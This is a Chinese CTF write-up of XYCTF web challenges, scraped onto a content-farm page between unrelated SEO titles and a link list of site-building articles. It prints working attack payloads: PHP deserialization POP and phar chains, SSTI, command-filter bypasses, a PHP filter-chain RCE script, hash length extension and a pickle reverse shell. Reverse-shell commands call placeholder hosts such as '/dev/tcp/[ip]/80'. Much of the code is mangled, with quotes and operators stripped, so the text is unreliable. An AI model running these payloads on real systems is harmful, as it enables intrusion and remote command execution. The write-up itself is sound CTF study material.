当前位置: 首页 > news >正文

自己做培训网站福州市晋安区建设局网站

自己做培训网站,福州市晋安区建设局网站,做app 的模板下载网站有哪些内容,温州网站建设推广服务目录 warm up ezMake ezhttp ezmd5 牢牢记住#xff0c;逝者为大 ezPOP 我是一个复读机 ezSerialize 第一关 第二关 第三关 第一种方法#xff1a; 第二种方法#xff1a; ez?Make 方法一#xff1a;利用反弹shell 方法二#xff1a;通过进制编码绕过 ε…目录 warm up ezMake ezhttp ezmd5 牢牢记住逝者为大 ezPOP 我是一个复读机 ezSerialize 第一关 第二关 第三关 第一种方法 第二种方法 ez?Make 方法一利用反弹shell 方法二通过进制编码绕过 εZ?¿мKε¿? ezRCE ezClass 方法一SplFileObject读取文件 方法二 : Error的getMessage ezLFI 连连看到底是连连什么看 give me flag login pharme 有些是比赛的时候写的大部分是赛后看wp复现的 warm up ?phpinclude next.php; highlight_file(__FILE__); $XYCTF Warm up; extract($_GET);if (isset($_GET[val1]) isset($_GET[val2]) $_GET[val1] ! $_GET[val2] md5($_GET[val1]) md5($_GET[val2])) {echo ez . br; } else {die(什么情况,这么基础的md5做不来); }if (isset($md5) $md5 md5($md5)) {echo ezez . br data-tomark-pass; } else {die(什么情况,这么基础的md5做不来); }if ($XY $XYCTF) {if ($XY ! XYCTF_550102591 md5($XY) md5(XYCTF_550102591)) {echo $level2;} else {die(什么情况,这么基础的md5做不来);} } else {die(学这么久,传参不会传?); } md5($_GET[val1]) md5($_GET[val2])) : md5弱比较数组绕过 md5md5(md5 md5(md5md5(md5) : 双md5 extract() : 可以变量覆盖 XYCTF_550102591 md5值为 0e937920457786991080577371025051 s1502113478amd5值为 0e861580163291561247404381396064 GET 传参 ?val1[]1val2[]2md50e00275209979XYs1502113478aXYCTFs1502113478a 到第二关 LLeeevvveeelll222.php ?php highlight_file(__FILE__); if (isset($_POST[a]) !preg_match(/[0-9]/, $_POST[a]) intval($_POST[a])) {echo 操作你O.o;echo preg_replace($_GET[a],$_GET[b],$_GET[c]); // 我可不会像别人一样设置10来个level } else {die(有点汗流浃背); } intval参数如果是有内容的数组返回1 post 传参 a[]1 preg_replace的RCE/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码 ?a/test/ebsystem(cat /flag)cjust test 直接得到flag : XYCTF{0b8c5ae7-22e3-4ef2-9d4a-d48d5a461c7c} ezMake 语法问题echo $(shell cat f*) 或者$(shell cat f*) 直接访问 /flag 可以下载附件存在flag 目录扫描) ezhttp 爆破 用户名XYCTF 密码JOILha!wuigqi123$ 仿造http头 User-Agent: XYCTF Referer: yuanshen.com Client-IP:127.0.0.1 Connection: keep-alive Via: ymzx.qq.com Cookie: XYCTF ezmd5 网上直接找两张MD5值相同的图片提交就可以得到flag 牢牢记住逝者为大 绕过前面的 # : 使用换行符的url编码 %0a 使后面 cmd GET传参的命令可以正常执行 再使用 ; #闭合 注释掉后面 的 ,mamba out 要不然总会报错 过滤了好多东西又有长度限制 尝试了蛮久的都不行不晓得中间要写什么命令了 ?cmd%0a ;%23 看完wp后中间写上 $_GET[1] 绕过长度限制这个长度为13是卡得正正好啊写的时候用的 $_POST[1] 长度超了就放弃了还真就没想到 $_GET[1] ?cmd%0a$_GET[1];%231cp /flag 1.txt (将flag文件里面的内容复制到 1.txt里面去直接访问1.txt 得到flag) 不能 cat /flag 转八进制试了好久不晓得为啥 转成八进制 ?cmd%0a$_GET[1];%231$\143\160$\57\146\154\141\147$\61\56\164\170\164然后直接访问1.txt ,拿到flag这道题看其他人的wp, 是可以去反弹shell的?cmd%0a$_GET[1];%231nc ip 端口 -e /bin/sh ezPOP ?phphighlight_file(__FILE__); class AAA{public $s;public $a;public function __toString(){echo you get 2 A br;$p $this-a;return $this-s-$p;} }class BBB{public $c;public $d;public function __get($name){echo you get 2 B br data-tomark-pass;$a$_POST[a];$b$_POST;$c$this-c;$d$this-d;if (isset($b[a])) {unset($b[a]);}call_user_func($a,$b)($c)($d);} } class CCC{public $c;public function __destruct(){echo you get 2 C br data-tomark-pass;echo $this-c;} }if(isset($_GET[xy])) {$a unserialize($_GET[xy]);throw new Exception(noooooob!!!); }// pop链//CCC类-__destruct -- AAA类-__toString--BBB类-__get --call_user_func( , )()()//POST传参 aimplode bsystem// implode() 将数组的值拼接为一个字符串 ; b是一个数组参数$anew CCC(); $a-cnew AAA(); $a-c-snew BBB(); $a-c-s-cls /; $a-c-s-dhello; //d随便填, system(ls)(hello)不影响命令执行$barray($a,0); //绕过throw 最后还需要将 i:1 -- i:0echo serialize($b); //a:2:{i:0;O:3:CCC:1:{s:1:c;O:3:AAA:2:{s:1:s;O:3:BBB:2:{s:1:c;s:4:ls /;s:1:d;s:5:hello;}s:1:a;N;}}i:1;i:0;}//a:2:{i:0;O:3:CCC:1:{s:1:c;O:3:AAA:2:{s:1:s;O:3:BBB:2:{s:1:c;s:4:ls /;s:1:d;s:5:hello;}s:1:a;N;}}i:0;i:0;}//XYCTF{28f226e7-a5a7-485d-972e-4c58d8abbb3e} 我是一个复读机 username : admin 密码asdqwe 关键在于要有中文还是一个中文一个{}两个中文就是{{}}三个中文又是{}做题的时候就是卡在这里了题目说了只是一个会说英文的复读机之前还真就没去试过中文直接就放弃了 不然 {{}} 和 {%%}都被过滤了无法ssti注入 直接使用 request payload 离谱(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()a__class__b__base__c__subclasses__d__getitem__e__init__f__globals__gpopenhcat /flag//XYCTF{3c468048-beb9-409f-8a0a-ffb8dfbdc940}ezSerialize 第一关 第一步符号的运用直接传参 ?popO:4:Flag:2:{s:5:token;i:1;s:8:password;R:2;} 结果 fpclosefpclosefpcloseffflllaaaggg.php 第二关 ?php highlight_file(__FILE__); class A {public $mack;public function __invoke(){$this-mack-nonExistentMethod();} }class B {public $luo;public function __get($key){echo o.Obr;$function $this-luo;return $function();} }class C {public $wang1;public function __call($wang1,$wang2){include flag.php;echo $flag2;} }class D {public $lao;public $chen;public function __toString(){echo O.obr data-tomark-pass;return is_null($this-lao-chen) ? : $this-lao-chen;} }class E {public $name xxxxx;public $num;public function __unserialize($data){echo br data-tomark-pass学到就是赚到!br data-tomark-pass;echo $data[num];}public function __wakeup(){if($this-name! || $this-num!){echo 旅行者别忘记旅行的意义!br data-tomark-pass;}} }if (isset($_POST[pop])) {unserialize($_POST[pop]); }$anew E(); $a-numnew D(); $a-name; $a-num-laonew B(); $a-num-lao-luonew A(); $a-num-lao-luo-macknew C(); echo serialize($a); //O:1:E:2:{s:4:name;s:0:;s:3:num;O:1:D:2:{s:3:lao;O:1:B:1:{s:3:luo;O:1:A:1:{s:4:mack;O:1:C:1:{s:5:wang1;N;}}}s:4:chen;N;}}//开始就是 没有$a-name; 这一步导致一直不能执行成功一直卡着 然后又进入到下一关saber_master_saber_master.php 第三关 ?phperror_reporting(0); highlight_file(__FILE__);// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;public function __construct($Liu, $T1ng, $upsw1ng Showmaker){$this-Liu $Liu;$this-T1ng $T1ng;$this-upsw1ng $upsw1ng;} }class XYCTFNO2{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this-crypto0 $crypto0;}public function XYCTF(){if ($this-adwa-crypto0 ! dev1l or $this-adwa-T1ng ! yuroandCMD258) {return False;} else {return True;}} }class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght Crypto0;public function __construct($KickyMu, $fpclose){$this-KickyMu $KickyMu;$this-fpclose $fpclose;}public function XY(){if ($this-N1ght oSthing) {echo WOW, You web is really good!!!\n;echo new $_POST[X]($_POST[Y]);}}public function __wakeup(){if ($this-KickyMu-XYCTF()) {$this-XY();}} }if (isset($_GET[CTF])) {unserialize($_GET[CTF]); }第一种方法 在类里面做一些相应的更改 关键点绕过 if ($this-adwa-crypto0 ! dev1l or $this-adwa-T1ng ! yuroandCMD258) 直接在 XYCTFNO1 类里面添加属性$crypto0 再更改相应的__construct 赋值 在 XYCTFNO3 类里面直接给 $N1ght oSthing 赋值 最后利用到 new $_POST[X]($_POST[Y]); ,使用 SplFileObject 读取文件flag.php post传参 XSplFileObjectYphp://filter/convert.base64-encode/resourceflag.php (直接读flag.php 没有回显所以使用伪协议) ?php// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;public $crypto0;public function __construct($T1ng, $crypto0){$this-T1ng $T1ng;$this-crypto0$crypto0;} }class XYCTFNO2{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this-crypto0 $crypto0;$this-adwa$adwa;}}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght oSthing;public function __construct($KickyMu, $fpclose){$this-KickyMu $KickyMu;$this-fpclose $fpclose;}}$a new XYCTFNO3(new XYCTFNO2(dev1l,new XYCTFNO1(yuroandCMD258,dev1l)),1); echo serialize($a); //O:8:XYCTFNO3:3:{s:7:KickyMu;O:8:XYCTFNO2:2:{s:7:crypto0;s:5:dev1l;s:4:adwa;O:8:XYCTFNO1:4:{s:3:Liu;N;s:4:T1ng;s:13:yuroandCMD258;s:17: XYCTFNO1 upsw1ng;N;s:7:crypto0;s:5:dev1l;}}s:7:fpclose;i:1;s:5:N1ght;s:7:oSthing;} 第二种方法 利用 stdClass() 类实例化直接赋值 $crypto0 dev1l $T1ng yuroandCMD258 post传参依旧是 XSplFileObjectYphp://filter/convert.base64-encode/resourceflag.php 读取文件 ?php// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng; }class XYCTFNO2{public $crypto0;public $adwa; }class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght Crypto0; }if (isset($_GET[CTF])) {unserialize($_GET[CTF]); }$anew XYCTFNO3(); $a-N1ghtoSthing; $a-KickyMunew XYCTFNO2(); $a-KickyMu-adwanew stdClass(); $a-KickyMu-adwa-crypto0dev1l; $a-KickyMu-adwa-T1ngyuroandCMD258;echo serialize($a); //O:8:XYCTFNO3:3:{s:7:KickyMu;O:8:XYCTFNO2:2:{s:7:crypto0;N;s:4:adwa;O:8:stdClass:2:{s:7:crypto0;s:5:dev1l;s:4:T1ng;s:13:yuroandCMD258;}}s:7:fpclose;N;s:5:N1ght;s:7:oSthing;} ez?Make 方法一利用反弹shell nc ip 端口 -e sh之前一直没能够复现成功结果竟然是端口的问题用80端口就可以连接用其他的端口就连接不了有点奇怪我明明把所有的端口都打开了啊有点不能理解浪费几个小时方法二通过进制编码绕过 echo 636174202F666c6167 | xxd -r -p前面的十六进制表示 cat /flag 通过 反引号执行 (因为f被过滤了将f大写绕过不影响命令执行)xxd 是一个用于在十六进制和二进制之间进行转换的工具。-r 选项告诉 xxd 将十六进制输入转换为二进制输出即“reverse”或“reconstruct”。-p 选项表示输入是纯十六进制没有地址、偏移或其他信息echo 输出十六进制字符串 636174202F666c6167。 通过管道 |这个输出被传递给 xxd 命令。 xxd -r -p 将这个十六进制字符串转换为它的二进制表示并输出相应的ASCII字符。//XYCTF{1d61fce7-42f1-4f55-85a8-fdf1fea48cc5}εZ?¿мKε¿? 看着wp写也是有点没看懂简单记录一下 主要也是学到了 $() 能够执行命令 能够将东西输入到命令中 makefile的特定语法需要 $$ ezRCE ?php highlight_file(__FILE__); function waf($cmd){$white_list [0,1,2,3,4,5,6,7,8,9,\\,\,$,]; $cmd_char str_split($cmd);foreach($cmd_char as $char){if (!in_array($char, $white_list)){die(really ez?);}}return $cmd; } $cmdwaf($_GET[cmd]); system($cmd);无字母RCE Linux终端可以通过 $\xxx 的方式执行命令xxx是字符ascii码的八进制形式 $\154\163 ls 可以执行 但是 $\154\163\40\57 ls / 无法执行,会被解析成字符串无法执行命令 所以就需要用到 在Linux中“”是一个称为Here String的特殊操作符。它的作用是将字符串的内容作为输入传递给命令 以及 $0 相当与bash 所以 000\154\163\40\57 就可以执行命令了 ?cmd000\143\141\164\40\57\146\154\141\147 cat /flag 拿到flag XYCTF{29b04a5d-c92f-436f-8ea4-6bf693f317de} ezClass ?php highlight_file(__FILE__); $a$_GET[a]; $aa$_GET[aa]; $b$_GET[b]; $bb$_GET[bb]; $c$_GET[c]; ((new $a($aa))-$c())((new $b($bb))-$c());方法一SplFileObject读取文件 SplFileObject 加上 php伪协议 读取文件 调用__toString() 方法得到字符串 get传参 anew SplFileObject aaphp://filter/readconvert.base64-encode/resource/flag c__toString解密XYCTF{9801dabe-6702-4f4e-91d5-1d1f4ce2c684} 这是直接猜在根目录下有一个flag文件要是把flag文件换个名就需要读取目录了但网上搜了一下读目录的 DirectoryIterator类 glob://协议 遍历目录但没能成功读不到目录可能不适合这道题或者我哪里搞错了有点懵 方法二 : Error的getMessage ?php $anew Error(system); echo $a-getMessage();//可以输出system 所以get传参 ?aErroraasystembErrorbbcat /flagcgetMessageezLFI 在index.php中可以看到代码 ?php include_once($_REQUEST[file]);直接现成的脚本把地址写上去直接输出了flag 这道题之前倒是做过类似的绕过 include_once(); 但是原理方面不太理解 import requestsurl http://gz.imxbt.cn:20208/ file_to_use /etc/passwd command /readflag#?$_GET[0];;? base64_payload PD89YCRfR0VUWzBdYDs7Pz4conversions {R: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2,B: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2,C: convert.iconv.UTF8.CSISO2022KR,8: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2,9: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB,f: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213,s: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61,z: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS,U: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932,P: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213,V: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5,0: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2,Y: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2,W: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2,d: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2,D: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2,7: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2,4: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2 }# generate some garbage base64 filters convert.iconv.UTF8.CSISO2022KR| filters convert.base64-encode|# make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters convert.iconv.UTF8.UTF7|for c in base64_payload[::-1]:filters conversions[c] |# decode and reencode to get rid of everything that isnt valid base64filters convert.base64-decode|filters convert.base64-encode|# get rid of equal signsfilters convert.iconv.UTF8.UTF7|filters convert.base64-decodefinal_payload fphp://filter/{filters}/resource{file_to_use}r requests.get(url, params{0: command,action: include,file: final_payload })print(r.text)#XYCTF{878ce487-4b88-4683-ae70-7cfd8af42803} 连连看到底是连连什么看 打开index.php文件 进入到whats_this.php ?php highlight_file(__FILE__); error_reporting(0);$p$_GET[p];if(preg_match(/http||php|file|:|\/|\?/i, $p)) {die(waf!); }$payloadphp://filter/$p/resource/etc/passwd;if(file_get_contents($payload)XYCTF){echo file_get_contents(/flag); } https://github.com/synacktiv/php_filter_chain_generator 需要用伪协议构造一个 XYCTF 用这个项目运行生成 第一种方法 需要将XYCTF进行几次 base64编码 命令 python php_filter_chain_generator.py --chain Vm1wQ1lXTXhTa2RYYTFwWVZWRQVm1wQ1lXTXhTa2RYYTFwWVZWRQ --- XYCTF 5次base64解码但是 XYCTF 五次 base64编码只能得到 -- Vm1wQ1lXTXhTa2RYYTFwWVZrUkJPUT09 用这个去运行的话却不能得到flag感觉不应该啊刚开始没注意一直弄不出来也不知道 Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 是怎么来的 不过 Vm1wQ1lXTXhTa2RYYTFwWVZr 就可以base64解码成 XYCTF 先暂时放着第二种方法 python3 php_filter_chain_generator.py --chain XYCTF然后复制下payload之后使用string.strip_tags过滤器绕过 strip_tags 从字符串中去除 HTML 和 PHP 标签 得到的结果还需要进行解码编码了几次就需要解码几次 payload?pconvert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decodeXYCTF{5f9e48b3-7851-41c0-aa56-c0a746784199} give me flag ?phpinclude(flag.php); $FLAG_md5 md5($FLAG); if(!isset($_GET[md5]) || !isset($_GET[value])) {highlight_file(__FILE__);die($FLAG_md5); }$value $_GET[value]; $md5 $_GET[md5]; $time time();if(md5($FLAG.$value.$time)$md5) {echo yes, give you flag: ;echo $FLAG; } a3a9ab37346c02e4a88deae16415f4c3考察hash长度扩展攻击 文章https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/ https://www.cnblogs.com/yunen/p/13624595.html 利用工具https://github.com/shellfeel/hash-ext-attack?tabreadme-ov-file 扩展字符输入的是一个未来的时间戳就是未来几分钟的 密钥长度就是 flag 的长度flag长度是固定的 payload: ?value%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00md5979a816bd7b50f44ba4113655f68e2c4value 的值是新明文去掉后面的时间戳因为题目 $FLAG.$value.$time 已经是把时间戳加上去的 md5 的值就是新生成的hash再写一个简单的脚本不断的请求当时间接近我们输入的时间戳就可以得到flag import requestsurlhttp://gz.imxbt.cn:20249/?value%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00md5979a816bd7b50f44ba4113655f68e2c4while True:resrequests.get(urlurl)if { in res.text:print(res.text)break XYCTF{c22d49e0-728d-4b84-a43c-33b6a4dd3b1d} login 打开网站是一个登录的界面目录扫描可以扫描出 /register.php 注册一个账号再登录可以在cookie里面找到一个 RememberMe base64解码一下 有登录的 用户名和密码 的信息 python的pickle反序列化 ,反弹shell import base64 a b(cos system Sbash -c bash -i /dev/tcp/[ip]/80 01 o.print(base64.b64encode(a))# c 获取一个全局对象或import一个模块 写法 c[module]\n[instance]\n 获得的对象入栈# S 实例化一个字符串对象 写法Sxxx\n也可以使用双引号、\等python字符串形式 获得的对象入栈# ( 向栈中压入一个MARK标记 MARK标记入栈# o 寻找栈中的上一个MARK以之间的第一个数据必须为函数为callable第二个到第n个数据为参数执行该函数或实例化一个对象 这个过程中涉及到的数据都出栈函数的返回值或生成的对象入栈 pharme 查看源码class.php, 访问 ?php error_reporting(0); highlight_file(__FILE__); class evil{public $cmd;public $a;public function __destruct(){if(ch3nx1 preg_replace(/;/,ch3nx1,preg_replace(/[A-Za-z_\(\)]/,,$this-cmd))){eval($this-cmd.isbigvegetablechicken!);} else {echo nonono;}} }if(isset($_POST[file])) {if(preg_match(/^phar:\/\//i,$_POST[file])){die(nonono);}file_get_contents($_POST[file]); }if(ch3nx1 preg_replace(/;/,ch3nx1,preg_replace(/[A-Za-z_\(\)]/,,$this-cmd))) 表明无参数rce eval($this-cmd.isbigvegetablechicken!) 使用halt_compiler()绕过 去中断编译执行使其后面的字符不被解析 if(preg_match(/^phar:\/\//i,$_POST[file])) 使用php伪协议绕过 构造phar包使用gzip命令压缩上传再改后缀为 png , 上传 http请求 在最后一个请求加上 SSsystem(cat /flag); 执行命令 post传参filephp://filter/convert.base64-encode/resourcephar:///tmp/fb5c81ed3a220004b71069645f112867.png ?php error_reporting(0); highlight_file(__FILE__); class evil{public $cmd; }$anew evil(); $a-cmdeval(end(getallheaders()));__helt_compiler();; $pharnew Phar(1.phar); $phar-startBuffering(); $phar-setStub(GIF89a.?php __HALT_COMPILER;?); $phar-setMetadata($a); $phar-addFromString(1.txt,111); $phar-stopBuffering();
http://www.dnsts.com.cn/news/150788.html

相关文章:

  • 织梦网站图片不显示有经验的大连网站建设
  • 网站优化公司效果郑州的网络科技有限公司
  • 设计一个自己公司网站开发兼职做彩平网站
  • 南岗哈尔滨网站建设定制网络零信任
  • 丰都集团网站建设茂名网站制作网页
  • 做网站前台用什么竞价网络推广外包
  • 南京高端网站建设工作室asp网站空间
  • 营口门户网站建设襄阳市做网站的公司
  • 网站 空间 租用网站后台搭建图文
  • 律师网站建设 优帮云常州有哪些好的网站建设案例
  • dephi 网站开发PS做网站报价
  • 中石油工程建设公司网站公司名称大全20000个
  • 广东省农业农村厅官方网站网站是先备案 还是先做网站
  • 陕西天和建设有限公司网站广元企业网站建设
  • 长沙seo建站新闻营销的优势
  • 福田做网站福田网站建设福田建网站500电商网站商品页的优化目标是什么
  • 买了域名如何做网站网站推广页面 英语
  • 网站是广西住房和城乡建设厅网页设计学校模板
  • 网站导航栏怎么做简单专业网站推广公司
  • 巨野菏泽网站建设做静态网站
  • 什么是网站反链营口旅游网站建设
  • 自己做的网站怎么放视频教程网站建设多少钱个人
  • 免费可以绑定域名网站空间丹灶做网站
  • 瑞昌网站建设网站建设昆明
  • wordpress图片分页插件google seo 营销网站
  • 微网站建设公司哪家好东莞微信网站建设怎样
  • 视频网站的制作教程wordpress 没有外观
  • 盐城经济技术开发区建设局网站python基础教程第二版
  • 商务网站设计特色网站关闭多久排名会下降
  • 成都建站模板公司wordpress 预订 插件